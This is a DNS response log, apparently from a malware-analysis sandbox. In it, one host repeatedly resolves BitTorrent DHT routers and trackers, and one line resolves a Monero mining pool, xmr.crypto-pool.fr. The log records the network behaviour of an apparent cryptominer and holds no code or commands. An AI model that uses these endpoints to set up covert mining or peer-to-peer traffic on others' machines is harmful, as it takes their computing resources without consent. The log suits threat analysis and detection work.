Aug 23, 2023 09:16:59.907233000 CEST	8.8.8.8	192.168.2.3	0xfabe	No error (0)	router.utorrent.com		82.221.103.244	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:16:59.926956892 CEST	8.8.8.8	192.168.2.3	0x5657	No error (0)	bttracker.debian.org	bttracker.acc.umu.se		CNAME (Canonical name)	IN (0x0001)	false
Aug 23, 2023 09:16:59.926956892 CEST	8.8.8.8	192.168.2.3	0x5657	No error (0)	bttracker.acc.umu.se		130.239.18.158	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:16:59.945879936 CEST	8.8.8.8	192.168.2.3	0xcdb8	No error (0)	bttracker.debian.org	bttracker.acc.umu.se		CNAME (Canonical name)	IN (0x0001)	false
Aug 23, 2023 09:16:59.945879936 CEST	8.8.8.8	192.168.2.3	0xcdb8	No error (0)	bttracker.acc.umu.se		130.239.18.158	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:17:03.935539007 CEST	8.8.8.8	192.168.2.3	0xa0a	No error (0)	dht.transmissionbt.com		87.98.162.88	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:17:03.935539007 CEST	8.8.8.8	192.168.2.3	0xa0a	No error (0)	dht.transmissionbt.com		212.129.33.59	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:17:03.964281082 CEST	8.8.8.8	192.168.2.3	0xf35d	No error (0)	dht.transmissionbt.com		87.98.162.88	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:17:03.964281082 CEST	8.8.8.8	192.168.2.3	0xf35d	No error (0)	dht.transmissionbt.com		212.129.33.59	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:17:03.986598969 CEST	8.8.8.8	192.168.2.3	0x634a	No error (0)	router.bittorrent.com		67.215.246.10	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:17:04.008105993 CEST	8.8.8.8	192.168.2.3	0xa5f5	No error (0)	router.bittorrent.com		67.215.246.10	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:17:04.037007093 CEST	8.8.8.8	192.168.2.3	0x8640	No error (0)	router.utorrent.com		82.221.103.244	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:17:04.064146042 CEST	8.8.8.8	192.168.2.3	0xebab	No error (0)	router.utorrent.com		82.221.103.244	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:17:04.101449966 CEST	8.8.8.8	192.168.2.3	0x620e	No error (0)	bttracker.debian.org	bttracker.acc.umu.se		CNAME (Canonical name)	IN (0x0001)	false
Aug 23, 2023 09:17:04.101449966 CEST	8.8.8.8	192.168.2.3	0x620e	No error (0)	bttracker.acc.umu.se		130.239.18.158	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:17:04.142014980 CEST	8.8.8.8	192.168.2.3	0x1d00	No error (0)	bttracker.debian.org	bttracker.acc.umu.se		CNAME (Canonical name)	IN (0x0001)	false
Aug 23, 2023 09:17:04.142014980 CEST	8.8.8.8	192.168.2.3	0x1d00	No error (0)	bttracker.acc.umu.se		130.239.18.158	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:17:07.391778946 CEST	8.8.8.8	192.168.2.3	0xcc63	No error (0)	dht.transmissionbt.com		87.98.162.88	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:17:07.391778946 CEST	8.8.8.8	192.168.2.3	0xcc63	No error (0)	dht.transmissionbt.com		212.129.33.59	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:17:07.419997931 CEST	8.8.8.8	192.168.2.3	0x7737	No error (0)	dht.transmissionbt.com		212.129.33.59	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:17:07.419997931 CEST	8.8.8.8	192.168.2.3	0x7737	No error (0)	dht.transmissionbt.com		87.98.162.88	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:17:07.447844982 CEST	8.8.8.8	192.168.2.3	0xde25	No error (0)	router.bittorrent.com		67.215.246.10	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:17:07.477452040 CEST	8.8.8.8	192.168.2.3	0x31e0	No error (0)	router.bittorrent.com		67.215.246.10	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:17:07.498567104 CEST	8.8.8.8	192.168.2.3	0x61e7	No error (0)	router.utorrent.com		82.221.103.244	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:17:07.522066116 CEST	8.8.8.8	192.168.2.3	0xf889	No error (0)	router.utorrent.com		82.221.103.244	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:17:07.556207895 CEST	8.8.8.8	192.168.2.3	0x64c2	No error (0)	bttracker.debian.org	bttracker.acc.umu.se		CNAME (Canonical name)	IN (0x0001)	false
Aug 23, 2023 09:17:07.556207895 CEST	8.8.8.8	192.168.2.3	0x64c2	No error (0)	bttracker.acc.umu.se		130.239.18.158	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:17:07.584466934 CEST	8.8.8.8	192.168.2.3	0x9430	No error (0)	bttracker.debian.org	bttracker.acc.umu.se		CNAME (Canonical name)	IN (0x0001)	false
Aug 23, 2023 09:17:07.584466934 CEST	8.8.8.8	192.168.2.3	0x9430	No error (0)	bttracker.acc.umu.se		130.239.18.158	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:17:12.018006086 CEST	8.8.8.8	192.168.2.3	0x51b3	No error (0)	dht.transmissionbt.com		212.129.33.59	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:17:12.018006086 CEST	8.8.8.8	192.168.2.3	0x51b3	No error (0)	dht.transmissionbt.com		87.98.162.88	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:17:12.023880959 CEST	8.8.8.8	192.168.2.3	0xccf4	No error (0)	xmr.crypto-pool.fr		141.95.206.77	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:17:12.051404953 CEST	8.8.8.8	192.168.2.3	0xabf7	No error (0)	dht.transmissionbt.com		87.98.162.88	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:17:12.051404953 CEST	8.8.8.8	192.168.2.3	0xabf7	No error (0)	dht.transmissionbt.com		212.129.33.59	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:17:12.088416100 CEST	8.8.8.8	192.168.2.3	0xf916	No error (0)	router.bittorrent.com		67.215.246.10	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:17:12.106772900 CEST	8.8.8.8	192.168.2.3	0x4c0d	No error (0)	router.bittorrent.com		67.215.246.10	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:17:12.133817911 CEST	8.8.8.8	192.168.2.3	0xeb91	No error (0)	router.utorrent.com		82.221.103.244	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:17:12.151616096 CEST	8.8.8.8	192.168.2.3	0x380b	No error (0)	router.utorrent.com		82.221.103.244	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:17:12.185477018 CEST	8.8.8.8	192.168.2.3	0x7081	No error (0)	bttracker.debian.org	bttracker.acc.umu.se		CNAME (Canonical name)	IN (0x0001)	false
Aug 23, 2023 09:17:12.185477018 CEST	8.8.8.8	192.168.2.3	0x7081	No error (0)	bttracker.acc.umu.se		130.239.18.158	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:17:12.211978912 CEST	8.8.8.8	192.168.2.3	0xcc5e	No error (0)	bttracker.debian.org	bttracker.acc.umu.se		CNAME (Canonical name)	IN (0x0001)	false
Aug 23, 2023 09:17:12.211978912 CEST	8.8.8.8	192.168.2.3	0xcc5e	No error (0)	bttracker.acc.umu.se		130.239.18.158	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:17:14.584060907 CEST	8.8.8.8	192.168.2.3	0x50d9	No error (0)	dht.transmissionbt.com		87.98.162.88	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:17:14.584060907 CEST	8.8.8.8	192.168.2.3	0x50d9	No error (0)	dht.transmissionbt.com		212.129.33.59	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:17:14.613027096 CEST	8.8.8.8	192.168.2.3	0xed05	No error (0)	dht.transmissionbt.com		87.98.162.88	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:17:14.613027096 CEST	8.8.8.8	192.168.2.3	0xed05	No error (0)	dht.transmissionbt.com		212.129.33.59	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:17:14.634706020 CEST	8.8.8.8	192.168.2.3	0xb3d6	No error (0)	router.bittorrent.com		67.215.246.10	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:17:14.657309055 CEST	8.8.8.8	192.168.2.3	0x9a8c	No error (0)	router.bittorrent.com		67.215.246.10	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:17:16.678796053 CEST	8.8.8.8	192.168.2.3	0x489	No error (0)	router.utorrent.com		82.221.103.244	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:17:16.709569931 CEST	8.8.8.8	192.168.2.3	0xaca8	No error (0)	router.utorrent.com		82.221.103.244	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:17:16.727657080 CEST	8.8.8.8	192.168.2.3	0x1444	No error (0)	bttracker.debian.org	bttracker.acc.umu.se		CNAME (Canonical name)	IN (0x0001)	false
Aug 23, 2023 09:17:16.727657080 CEST	8.8.8.8	192.168.2.3	0x1444	No error (0)	bttracker.acc.umu.se		130.239.18.158	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:17:16.755629063 CEST	8.8.8.8	192.168.2.3	0x1b0b	No error (0)	bttracker.debian.org	bttracker.acc.umu.se		CNAME (Canonical name)	IN (0x0001)	false
Aug 23, 2023 09:17:16.755629063 CEST	8.8.8.8	192.168.2.3	0x1b0b	No error (0)	bttracker.acc.umu.se		130.239.18.158	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:17:16.786632061 CEST	8.8.8.8	192.168.2.3	0xdd73	No error (0)	dht.transmissionbt.com		212.129.33.59	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:17:16.786632061 CEST	8.8.8.8	192.168.2.3	0xdd73	No error (0)	dht.transmissionbt.com		87.98.162.88	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:17:16.816873074 CEST	8.8.8.8	192.168.2.3	0xf40e	No error (0)	dht.transmissionbt.com		212.129.33.59	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:17:16.816873074 CEST	8.8.8.8	192.168.2.3	0xf40e	No error (0)	dht.transmissionbt.com		87.98.162.88	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:17:16.844916105 CEST	8.8.8.8	192.168.2.3	0x211	No error (0)	router.bittorrent.com		67.215.246.10	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:17:16.884124041 CEST	8.8.8.8	192.168.2.3	0x9d63	No error (0)	router.bittorrent.com		67.215.246.10	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:17:16.912981033 CEST	8.8.8.8	192.168.2.3	0x9277	No error (0)	router.utorrent.com		82.221.103.244	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:17:16.940931082 CEST	8.8.8.8	192.168.2.3	0xe31e	No error (0)	router.utorrent.com		82.221.103.244	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:17:16.970751047 CEST	8.8.8.8	192.168.2.3	0x364f	No error (0)	bttracker.debian.org	bttracker.acc.umu.se		CNAME (Canonical name)	IN (0x0001)	false
Aug 23, 2023 09:17:16.970751047 CEST	8.8.8.8	192.168.2.3	0x364f	No error (0)	bttracker.acc.umu.se		130.239.18.158	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:17:17.012491941 CEST	8.8.8.8	192.168.2.3	0x2dfc	No error (0)	bttracker.debian.org	bttracker.acc.umu.se		CNAME (Canonical name)	IN (0x0001)	false
Aug 23, 2023 09:17:17.012491941 CEST	8.8.8.8	192.168.2.3	0x2dfc	No error (0)	bttracker.acc.umu.se		130.239.18.158	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:17:17.837213993 CEST	8.8.8.8	192.168.2.3	0x1dd7	No error (0)	dht.transmissionbt.com		212.129.33.59	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:17:17.837213993 CEST	8.8.8.8	192.168.2.3	0x1dd7	No error (0)	dht.transmissionbt.com		87.98.162.88	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:17:17.894062042 CEST	8.8.8.8	192.168.2.3	0x2fbe	No error (0)	dht.transmissionbt.com		212.129.33.59	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:17:17.894062042 CEST	8.8.8.8	192.168.2.3	0x2fbe	No error (0)	dht.transmissionbt.com		87.98.162.88	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:17:17.940725088 CEST	8.8.8.8	192.168.2.3	0xb7a5	No error (0)	router.bittorrent.com		67.215.246.10	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:17:17.969230890 CEST	8.8.8.8	192.168.2.3	0x9a15	No error (0)	router.bittorrent.com		67.215.246.10	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:17:18.001607895 CEST	8.8.8.8	192.168.2.3	0xa8dd	No error (0)	router.utorrent.com		82.221.103.244	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:17:18.039019108 CEST	8.8.8.8	192.168.2.3	0x2171	No error (0)	router.utorrent.com		82.221.103.244	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:17:18.061271906 CEST	8.8.8.8	192.168.2.3	0x76e9	No error (0)	bttracker.debian.org	bttracker.acc.umu.se		CNAME (Canonical name)	IN (0x0001)	false
Aug 23, 2023 09:17:18.061271906 CEST	8.8.8.8	192.168.2.3	0x76e9	No error (0)	bttracker.acc.umu.se		130.239.18.158	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:17:18.088155031 CEST	8.8.8.8	192.168.2.3	0x5f4	No error (0)	bttracker.debian.org	bttracker.acc.umu.se		CNAME (Canonical name)	IN (0x0001)	false
Aug 23, 2023 09:17:18.088155031 CEST	8.8.8.8	192.168.2.3	0x5f4	No error (0)	bttracker.acc.umu.se		130.239.18.158	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:17:20.547949076 CEST	8.8.8.8	192.168.2.3	0x8858	No error (0)	dht.transmissionbt.com		87.98.162.88	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:17:20.547949076 CEST	8.8.8.8	192.168.2.3	0x8858	No error (0)	dht.transmissionbt.com		212.129.33.59	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:17:20.566529989 CEST	8.8.8.8	192.168.2.3	0x7096	No error (0)	dht.transmissionbt.com		87.98.162.88	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:17:20.566529989 CEST	8.8.8.8	192.168.2.3	0x7096	No error (0)	dht.transmissionbt.com		212.129.33.59	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:17:20.598198891 CEST	8.8.8.8	192.168.2.3	0x33cc	No error (0)	router.bittorrent.com		67.215.246.10	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:17:20.637062073 CEST	8.8.8.8	192.168.2.3	0x57f2	No error (0)	router.bittorrent.com		67.215.246.10	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:17:20.666527033 CEST	8.8.8.8	192.168.2.3	0x1405	No error (0)	router.utorrent.com		82.221.103.244	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:17:20.695074081 CEST	8.8.8.8	192.168.2.3	0x6fde	No error (0)	router.utorrent.com		82.221.103.244	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:17:20.735519886 CEST	8.8.8.8	192.168.2.3	0x9e86	No error (0)	bttracker.debian.org	bttracker.acc.umu.se		CNAME (Canonical name)	IN (0x0001)	false
Aug 23, 2023 09:17:20.735519886 CEST	8.8.8.8	192.168.2.3	0x9e86	No error (0)	bttracker.acc.umu.se		130.239.18.158	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:17:20.755703926 CEST	8.8.8.8	192.168.2.3	0x4643	No error (0)	bttracker.debian.org	bttracker.acc.umu.se		CNAME (Canonical name)	IN (0x0001)	false
Aug 23, 2023 09:17:20.755703926 CEST	8.8.8.8	192.168.2.3	0x4643	No error (0)	bttracker.acc.umu.se		130.239.18.158	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:17:21.518194914 CEST	8.8.8.8	192.168.2.3	0xff9c	No error (0)	dht.transmissionbt.com		87.98.162.88	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:17:21.518194914 CEST	8.8.8.8	192.168.2.3	0xff9c	No error (0)	dht.transmissionbt.com		212.129.33.59	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:17:21.539608002 CEST	8.8.8.8	192.168.2.3	0x71a4	No error (0)	dht.transmissionbt.com		87.98.162.88	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:17:21.539608002 CEST	8.8.8.8	192.168.2.3	0x71a4	No error (0)	dht.transmissionbt.com		212.129.33.59	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:17:21.569192886 CEST	8.8.8.8	192.168.2.3	0x954f	No error (0)	router.bittorrent.com		67.215.246.10	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:17:21.591780901 CEST	8.8.8.8	192.168.2.3	0xc679	No error (0)	router.bittorrent.com		67.215.246.10	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:17:21.628823996 CEST	8.8.8.8	192.168.2.3	0xd505	No error (0)	router.utorrent.com		82.221.103.244	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:17:21.656941891 CEST	8.8.8.8	192.168.2.3	0xc875	No error (0)	router.utorrent.com		82.221.103.244	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:17:21.683583021 CEST	8.8.8.8	192.168.2.3	0xd15d	No error (0)	bttracker.debian.org	bttracker.acc.umu.se		CNAME (Canonical name)	IN (0x0001)	false
Aug 23, 2023 09:17:21.683583021 CEST	8.8.8.8	192.168.2.3	0xd15d	No error (0)	bttracker.acc.umu.se		130.239.18.158	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:17:21.707595110 CEST	8.8.8.8	192.168.2.3	0x55d5	No error (0)	bttracker.debian.org	bttracker.acc.umu.se		CNAME (Canonical name)	IN (0x0001)	false
Aug 23, 2023 09:17:21.707595110 CEST	8.8.8.8	192.168.2.3	0x55d5	No error (0)	bttracker.acc.umu.se		130.239.18.158	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:17:23.343060017 CEST	8.8.8.8	192.168.2.3	0x43c0	No error (0)	dht.transmissionbt.com		87.98.162.88	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:17:23.343060017 CEST	8.8.8.8	192.168.2.3	0x43c0	No error (0)	dht.transmissionbt.com		212.129.33.59	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:17:23.378079891 CEST	8.8.8.8	192.168.2.3	0x8b1c	No error (0)	dht.transmissionbt.com		87.98.162.88	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:17:23.378079891 CEST	8.8.8.8	192.168.2.3	0x8b1c	No error (0)	dht.transmissionbt.com		212.129.33.59	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:17:23.404089928 CEST	8.8.8.8	192.168.2.3	0xcc9e	No error (0)	router.bittorrent.com		67.215.246.10	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:17:23.427544117 CEST	8.8.8.8	192.168.2.3	0x9740	No error (0)	router.bittorrent.com		67.215.246.10	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:17:23.655025959 CEST	8.8.8.8	192.168.2.3	0xdb9e	No error (0)	router.utorrent.com		82.221.103.244	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:17:23.686830997 CEST	8.8.8.8	192.168.2.3	0xfddb	No error (0)	router.utorrent.com		82.221.103.244	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:17:23.717163086 CEST	8.8.8.8	192.168.2.3	0xaac	No error (0)	bttracker.debian.org	bttracker.acc.umu.se		CNAME (Canonical name)	IN (0x0001)	false
Aug 23, 2023 09:17:23.717163086 CEST	8.8.8.8	192.168.2.3	0xaac	No error (0)	bttracker.acc.umu.se		130.239.18.158	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:17:23.741038084 CEST	8.8.8.8	192.168.2.3	0xdb4b	No error (0)	bttracker.debian.org	bttracker.acc.umu.se		CNAME (Canonical name)	IN (0x0001)	false
Aug 23, 2023 09:17:23.741038084 CEST	8.8.8.8	192.168.2.3	0xdb4b	No error (0)	bttracker.acc.umu.se		130.239.18.158	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:17:25.320116043 CEST	8.8.8.8	192.168.2.3	0xf6fc	No error (0)	dht.transmissionbt.com		87.98.162.88	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:17:25.320116043 CEST	8.8.8.8	192.168.2.3	0xf6fc	No error (0)	dht.transmissionbt.com		212.129.33.59	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:17:25.341347933 CEST	8.8.8.8	192.168.2.3	0x4822	No error (0)	dht.transmissionbt.com		87.98.162.88	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:17:25.341347933 CEST	8.8.8.8	192.168.2.3	0x4822	No error (0)	dht.transmissionbt.com		212.129.33.59	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:17:25.367388964 CEST	8.8.8.8	192.168.2.3	0x7595	No error (0)	router.bittorrent.com		67.215.246.10	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:17:25.385508060 CEST	8.8.8.8	192.168.2.3	0xc6a9	No error (0)	router.bittorrent.com		67.215.246.10	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:17:25.422691107 CEST	8.8.8.8	192.168.2.3	0xa670	No error (0)	router.utorrent.com		82.221.103.244	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:17:25.456559896 CEST	8.8.8.8	192.168.2.3	0x7b37	No error (0)	router.utorrent.com		82.221.103.244	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:17:25.486651897 CEST	8.8.8.8	192.168.2.3	0xf672	No error (0)	bttracker.debian.org	bttracker.acc.umu.se		CNAME (Canonical name)	IN (0x0001)	false
Aug 23, 2023 09:17:25.486651897 CEST	8.8.8.8	192.168.2.3	0xf672	No error (0)	bttracker.acc.umu.se		130.239.18.158	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:17:25.518573999 CEST	8.8.8.8	192.168.2.3	0xbd40	No error (0)	bttracker.debian.org	bttracker.acc.umu.se		CNAME (Canonical name)	IN (0x0001)	false
Aug 23, 2023 09:17:25.518573999 CEST	8.8.8.8	192.168.2.3	0xbd40	No error (0)	bttracker.acc.umu.se		130.239.18.158	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:17:25.749524117 CEST	8.8.8.8	192.168.2.3	0x7bec	No error (0)	dht.transmissionbt.com		87.98.162.88	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:17:25.749524117 CEST	8.8.8.8	192.168.2.3	0x7bec	No error (0)	dht.transmissionbt.com		212.129.33.59	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:17:25.769922972 CEST	8.8.8.8	192.168.2.3	0x7170	No error (0)	dht.transmissionbt.com		87.98.162.88	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:17:25.769922972 CEST	8.8.8.8	192.168.2.3	0x7170	No error (0)	dht.transmissionbt.com		212.129.33.59	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:17:25.799271107 CEST	8.8.8.8	192.168.2.3	0x8cfb	No error (0)	router.bittorrent.com		67.215.246.10	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:17:25.837832928 CEST	8.8.8.8	192.168.2.3	0x9a77	No error (0)	router.bittorrent.com		67.215.246.10	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:17:25.880563974 CEST	8.8.8.8	192.168.2.3	0xfd62	No error (0)	router.utorrent.com		82.221.103.244	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:17:25.913825035 CEST	8.8.8.8	192.168.2.3	0xabad	No error (0)	router.utorrent.com		82.221.103.244	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:17:25.937369108 CEST	8.8.8.8	192.168.2.3	0x42da	No error (0)	bttracker.debian.org	bttracker.acc.umu.se		CNAME (Canonical name)	IN (0x0001)	false
Aug 23, 2023 09:17:25.937369108 CEST	8.8.8.8	192.168.2.3	0x42da	No error (0)	bttracker.acc.umu.se		130.239.18.158	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:17:25.968444109 CEST	8.8.8.8	192.168.2.3	0x3bfd	No error (0)	bttracker.debian.org	bttracker.acc.umu.se		CNAME (Canonical name)	IN (0x0001)	false
Aug 23, 2023 09:17:25.968444109 CEST	8.8.8.8	192.168.2.3	0x3bfd	No error (0)	bttracker.acc.umu.se		130.239.18.158	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:17:27.959320068 CEST	8.8.8.8	192.168.2.3	0x204c	No error (0)	dht.transmissionbt.com		212.129.33.59	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:17:27.959320068 CEST	8.8.8.8	192.168.2.3	0x204c	No error (0)	dht.transmissionbt.com		87.98.162.88	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:17:27.987072945 CEST	8.8.8.8	192.168.2.3	0xa436	No error (0)	dht.transmissionbt.com		87.98.162.88	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:17:27.987072945 CEST	8.8.8.8	192.168.2.3	0xa436	No error (0)	dht.transmissionbt.com		212.129.33.59	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:17:28.007997036 CEST	8.8.8.8	192.168.2.3	0x744e	No error (0)	router.bittorrent.com		67.215.246.10	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:17:28.030091047 CEST	8.8.8.8	192.168.2.3	0x5f82	No error (0)	router.bittorrent.com		67.215.246.10	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:17:28.074259996 CEST	8.8.8.8	192.168.2.3	0x1f87	No error (0)	router.utorrent.com		82.221.103.244	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:17:28.096059084 CEST	8.8.8.8	192.168.2.3	0xa788	No error (0)	router.utorrent.com		82.221.103.244	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:17:28.131449938 CEST	8.8.8.8	192.168.2.3	0xbae1	No error (0)	bttracker.debian.org	bttracker.acc.umu.se		CNAME (Canonical name)	IN (0x0001)	false
Aug 23, 2023 09:17:28.131449938 CEST	8.8.8.8	192.168.2.3	0xbae1	No error (0)	bttracker.acc.umu.se		130.239.18.158	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:17:28.160646915 CEST	8.8.8.8	192.168.2.3	0x8acd	No error (0)	bttracker.debian.org	bttracker.acc.umu.se		CNAME (Canonical name)	IN (0x0001)	false
Aug 23, 2023 09:17:28.160646915 CEST	8.8.8.8	192.168.2.3	0x8acd	No error (0)	bttracker.acc.umu.se		130.239.18.158	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:17:28.311851025 CEST	8.8.8.8	192.168.2.3	0x2443	No error (0)	dht.transmissionbt.com		87.98.162.88	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:17:28.311851025 CEST	8.8.8.8	192.168.2.3	0x2443	No error (0)	dht.transmissionbt.com		212.129.33.59	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:17:28.329742908 CEST	8.8.8.8	192.168.2.3	0x3357	No error (0)	dht.transmissionbt.com		87.98.162.88	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:17:28.329742908 CEST	8.8.8.8	192.168.2.3	0x3357	No error (0)	dht.transmissionbt.com		212.129.33.59	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:17:28.357884884 CEST	8.8.8.8	192.168.2.3	0xb5af	No error (0)	router.bittorrent.com		67.215.246.10	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:17:28.389005899 CEST	8.8.8.8	192.168.2.3	0xa00f	No error (0)	router.bittorrent.com		67.215.246.10	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:17:28.419620037 CEST	8.8.8.8	192.168.2.3	0xc457	No error (0)	router.utorrent.com		82.221.103.244	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:17:28.451610088 CEST	8.8.8.8	192.168.2.3	0x5087	No error (0)	router.utorrent.com		82.221.103.244	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:17:28.471697092 CEST	8.8.8.8	192.168.2.3	0xf679	No error (0)	bttracker.debian.org	bttracker.acc.umu.se		CNAME (Canonical name)	IN (0x0001)	false
Aug 23, 2023 09:17:28.471697092 CEST	8.8.8.8	192.168.2.3	0xf679	No error (0)	bttracker.acc.umu.se		130.239.18.158	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:17:28.490959883 CEST	8.8.8.8	192.168.2.3	0x8296	No error (0)	bttracker.debian.org	bttracker.acc.umu.se		CNAME (Canonical name)	IN (0x0001)	false
Aug 23, 2023 09:17:28.490959883 CEST	8.8.8.8	192.168.2.3	0x8296	No error (0)	bttracker.acc.umu.se		130.239.18.158	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:17:29.805927038 CEST	8.8.8.8	192.168.2.3	0x6a3e	No error (0)	dht.transmissionbt.com		87.98.162.88	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:17:29.805927038 CEST	8.8.8.8	192.168.2.3	0x6a3e	No error (0)	dht.transmissionbt.com		212.129.33.59	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:17:29.841536999 CEST	8.8.8.8	192.168.2.3	0x284d	No error (0)	dht.transmissionbt.com		212.129.33.59	A (IP address)	IN (0x0001)	false
